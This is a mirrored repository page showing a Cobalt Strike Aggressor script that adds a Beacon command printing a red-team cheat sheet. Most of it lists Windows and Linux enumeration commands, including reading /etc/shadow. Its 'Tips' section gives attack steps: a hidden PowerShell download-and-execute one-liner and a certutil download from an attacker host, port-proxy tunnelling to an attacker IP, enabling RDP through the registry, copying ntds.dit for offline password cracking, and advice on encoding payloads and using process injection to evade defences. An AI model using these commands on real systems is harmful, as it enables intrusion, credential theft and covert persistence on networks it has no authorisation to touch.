infosecn1nja
/
AggressorScripts
mirror of https://github.com/infosecn1nja/AggressorScripts.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
AggressorScripts/RedTeamRepo.cna

198 lines
11 KiB
Plaintext
Raw Normal View History

Red Team Repo
2017-09-04 09:23:45 +00:00
#RedTeamRepo
#Author: @r3dqu1nn
#A Common Repository for when you forget your RTFM and no googles.
#https://www.sock-raw.org/wiki/doku.php/start - @ithilgore
#http://pwnwiki.io/#!index.md
#https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
#This script will be continuously updated. Any input or feedback is welcomed!! Enjoy and happy hacking!
beacon_command_register("RedRepo", "A large repository of commands and red team tips",
"\nSyntax: RedRepo [Option]\n" .
"\nList Options: RedRepo [List]\n" .
"\nDisplays well known commands for an OS, or diplays great tips or tricks for a Red Team Operator.\n");
alias RedRepo {
if ($2 ismatch 'List') {
local('$out');
#blog($1, "\c0\n\nRepo Options\n============");
$out = "RedRepo Options\n";
$out .= " \c0===============\n\n";
$out .= " Option Description\n";
$out .= "\c0 ------ -----------\n";
blog($1, $out);
blog2($1, "\cBWindows Windows Enumeration Commands");
blog2($1, "\cBLinux Linux Enumeration Commands");
blog2($1, "\cBTips Red Team Tips");
blog2($1, "\cBList List of Options");
blog2($1, "\cBSmile Happy Hacking!\n");
}
if ($2 ismatch 'Windows') {
blog($1, "\t\c4====== Common Windows Commands ======\n");
#WMIC Commands
blog($1, "\t\c4====== WMIC Enumeration Commands ======\n");
blog2($1, "\t\cBwmic computersystem get Name,domain,NumberofProcessors,Roles,totalphysicalmemory");
blog2($1, "\t\cBwmic desktop get Name,ScreenSaverActive,Wallpaper");
blog2($1, "\t\cBwmic netlogin get Caption,Privileges,UserID,UserType,NumberOfLogons,PasswordAge,LogonServer,Workstations");
blog2($1, "\t\cBwmic process get CSName,Description,ExecutablePath,ProcessId");
blog2($1, "\t\cBwmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName");
blog2($1, "\t\cBwmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace");
blog2($1, "\t\cBwmic netuse list full");
blog2($1, "\t\cBwmic startup get Caption,Command,Location,User");
blog2($1, "\t\cBwmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version");
blog2($1, "\t\cBwmic qfe get HotFixID,InstalledOn");
blog2($1, "\t\cBwmic ntdomain list");
blog2($1, "\t\cBwmic bios [list full]\n");
blog($1, "\t\c4====== Info Harvesting ======\n");
#Host Enumeration
blog2($1, "\t\cBsysteminfo");
blog2($1, "\t\cBsysteminfo | findstr /B /C:\"OS Name\" /C:\"OS Version\"");
blog2($1, "\t\cBSET");
blog2($1, "\t\cBipconfig /all");
blog2($1, "\t\cBroute print");
blog2($1, "\t\cBarp -a");
blog2($1, "\t\cBnetstat -ano | findstr /I listening");
blog2($1, "\t\cBnetstat -ano | findstr /I established");
blog2($1, "\t\cBnbtstat -A *target IP*");
blog2($1, "\t\cBnslookup");
blog2($1, "\t\cBreg query [key]");
blog2($1, "\t\cBGet-ItemProperty [key] (PowerShell)");
blog2($1, "\t\cBschtasks /query /fo LIST /v");
blog2($1, "\t\cBsc query");
blog2($1, "\t\cBsc qc [service name]");
blog2($1, "\t\cBtasklist /SVC (/S Remote Computer)");
blog2($1, "\t\cBDRIVERQUERY");
blog2($1, "\t\cBRun C:\\Windows\\System32\\gatherNetworkInfo.vbs script and check results inside C:\\Windows\\System32\\Config");
blog2($1, "\t\cBgpresult /z");
blog2($1, "\t\cBwhoami /all");
blog2($1, "\t\cBnetsh firewall show conf");
blog2($1, "\t\cBnetsh wlan show profiles");
blog2($1, "\t\cBnetsh advfirewall show allprofiles\n");
blog($1, "\t\c4======= Net Commands =======\n");
#Old School Net Commands
blog2($1, "\t\cBnet accounts [/domain]");
blog2($1, "\t\cBnet group \"groupname\" [/domain]");
blog2($1, "\t\cBnet localgroup \"groupname\" [/domain]");
blog2($1, "\t\cBnet view [/domain]");
blog2($1, "\t\cBnet session");
blog2($1, "\t\cBnet share");
blog2($1, "\t\cBnet user [/domain]");
blog2($1, "\t\cBnet user [username] [/domain]");
blog2($1, "\t\cBnet use * \\\\IP\\C$ /user:username [password]");
blog2($1, "\t\cBUse the built in net commands with Beacon! [help net]\n");
}
if ($2 ismatch 'Linux') {
blog($1, "\t\c4====== Common Linux Commands ======\n");
blog($1, "\t\c4====== Info Harvesting/Host/Network Enumeration ======\n")
blog2($1, "\t\cBcat /etc/issue");
blog2($1, "\t\cBcat /etc/*-release");
blog2($1, "\t\cBcat /etc/*-release | grep -E '\"NAME=\"|ID|VERSION|ID_LIKE'");
blog2($1, "\t\cBcat /proc/version");
blog2($1, "\t\cBrpm -q kernel");
blog2($1, "\t\cBdmesg | grep Linux");
blog2($1, "\t\cBls /boot | grep vmlinuz-");
blog2($1, "\t\cBlsb_release -a");
blog2($1, "\t\cBlast -a");
blog2($1, "\t\cBuname -a");
blog2($1, "\t\cBuname -mrs");
blog2($1, "\t\cBid");
blog2($1, "\t\cBhistory");
blog2($1, "\t\cBarp -a");
blog2($1, "\t\cBnetstat -anot");
blog2($1, "\t\cBps -elf");
blog2($1, "\t\cBps -elf | grep root");
blog2($1, "\t\cBls -la /var/www/html/");
blog2($1, "\t\cBservice apache2 status");
blog2($1, "\t\cBcat /etc/resolv.conf");
blog2($1, "\t\cBcat /etc/networks");
blog2($1, "\t\cBiptables -L");
blog2($1, "\t\cBiptables -L -t nat");
blog2($1, "\t\cBlsof -i");
blog2($1, "\t\cBcat /etc/services");
blog2($1, "\t\cBgrep 80 /etc/services");
blog2($1, "\t\cBw");
blog2($1, "\t\cBroute -n");
blog2($1, "\t\cBcat /etc/passwd");
blog2($1, "\t\cBcat /etc/passwd | awk -F : '{if (\$3 > 999 && \$3 < 60001) print \$1,\$3,\$6}'");
blog2($1, "\t\cBcat /etc/motd");
blog2($1, "\t\cBcat /etc/group");
blog2($1, "\t\cBcat /etc/shadow\n");
}
if ($2 ismatch 'Tips') {
blog($1, "\t\c4====== Red Team Tips ======\n");
#Red Tips
blog2($1, "\t\cBhttps://github.com/vysec/RedTips (If you have InterWebs)");
blog2($1, "\t\cBhttps://github.com/subTee/ApplicationWhitelistBypassTechniques/blob/master/TheList.txt (InterWebs Required)");
blog2($1, "\t\cBNeed a map of the network? Run Bloodhound!! https://github.com/BloodHoundAD/BloodHound");
blog2($1, "\t\cBAlways check sysvols!! Domain Controllers will have them, you'll be surprised how some are still viewable by normal users.");
blog2($1, "\t\cBnet user a specific user and see if they are executing any logon scripts, those might contain juicy information.");
blog2($1, "\t\cBAlways check Desktops/Documents/Downloads/Favorites folders for trails of valuable information left behind.");
blog2($1, "\t\cBFind those Fileservers! Sysadmins leave behind all kinds of goodies there.");
blog2($1, "\t\cBUse a Windows 7 workstation to tunnel your traffic natively. netsh int portproxy v4tov4 listenport=[port] connecthost=[AttackerIP] connectport=[port]");
blog2($1, "\t\cBUse certutil.exe -urlcache -split -f [http://AttackerIP/RemoteFile] to download a file to the target machine.");
blog2($1, "\t\cBThe all powerful one-liner powershell.exe -w hidden -nop -ep bypass -c \"IEX ((new-object net.webclient).downloadstring('http://[domainname|IP]:[port]/[file]'))\"");
blog2($1, "\t\cBUse tasklist /S [RemoteComputer] /SVC to see if you have access to that remote machine.");
blog2($1, "\t\cBEnable RDP through the registry: reg add “HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f");
blog2($1, "\t\cBPlease wrap/encode/pack your payloads if you have to drop to disk!");
blog2($1, "\t\cBTry to stay in memory and avoid putting files on disk.");
blog2($1, "\t\cBLive off the land!! Use what is on the target, native windows binaries are very powerful!");
blog2($1, "\t\cBUse AD naming schemes to your advantage, sysadmins are lazy and use organization to help them with all the IT work they do on a daily basis.");
blog2($1, "\t\cBEnterprise Admins will almost always have the rights to move laterally to those foreign domain controllers, 9 times out of 10 they use the same password!");
blog2($1, "\t\cBInvoke-NinjaCopy.ps1 is super powerful and should be used to grab the ntds.dit and SYSTEM files for offline cracking.");
blog2($1, "\t\cBHave multiple points of presence on a network for longer engagements. Persistence can go a long way for Security Operations.");
blog2($1, "\t\cBcmd.exe and powershell.exe blocked by GPO? Find a process that's user owned and started on bootup for process injection to bypass that.");
blog2($1, "\t\cBJust because you acquired initial access doesn't mean you stop doing recon. Network/Host Enumeration is always the most important part.");
blog2($1, "\t\cBInvoke-ReverseDnsLookup.ps1 of powersploit finds those machines on the network that has DNS records and can provide more SA for an attacker.");
blog2($1, "\t\cBNeed a Temporary web server? Use Python! python -m SimpleHTTPServer [port]\n");
}
if ($2 ismatch 'Smile') {
local('$smile');
$smile = "\n";
$smile .= "\t\c9░░░░░░░░░░░███████░░░░░░░░░░░\n";
$smile .= "\t\c9░░░░░░░████░░░░░░░████░░░░░░░\n";
$smile .= "\t\c9░░░░░██░░░░░░░░░░░░░░░██░░░░░\n";
$smile .= "\t\c9░░░██░░░░░░░░░░░░░░░░░░░██░░░\n";
$smile .= "\t\c9░░█░░░░░░░░░░░░░░░░░░░░░░░█░░\n";
$smile .= "\t\c9░█░░████░░░░░░░░██████░░░░░█░\n";
$smile .= "\t\c9█░░█░░░██░░░░░░█░░░░███░░░░░█\n";
$smile .= "\t\c9█░█░░░░░░█░░░░░█░░░░░░░█░░░░█\n";
$smile .= "\t\c9█░█████████░░░░█████████░░░░█\n";
$smile .= "\t\c9█░░░░░░░░░░░░░░░░░░░░░░░░░░░█\n";
$smile .= "\t\c9█░░░░░░░░░░░░░░░░░░░░░░░░░░░█\n";
$smile .= "\t\c9█░░░████████████████████░░░░█\n";
$smile .= "\t\c9░█░░░█▓▓▓▓▓▓▓▓█████▓▓▓█░░░░█░\n";
$smile .= "\t\c9░█░░░░█▓▓▓▓▓██░░░░██▓██░░░░█░\n";
$smile .= "\t\c9░░█░░░░██▓▓█░░░░░░░▒██░░░░█░░\n";
$smile .= "\t\c9░░░██░░░░██░░░░░░▒██░░░░██░░░\n";
$smile .= "\t\c9░░░░░██░░░░███████░░░░██░░░░░\n";
$smile .= "\t\c9░░░░░░░███░░░░░░░░░███░░░░░░░\n";
$smile .= "\t\c9░░░░░░░░░░█████████░░░░░░░░░░\n";
blog($1, $smile);
}
if ($2 is $null) {
berror($1, "\c4Need to specify additional syntax! Use the 'List' command for help");
Update RedTeamRepo.cna
2017-09-04 09:40:51 +00:00
blog($1, "\cBSyntax Example: RedRepo Windows");
Red Team Repo
2017-09-04 09:23:45 +00:00
}
}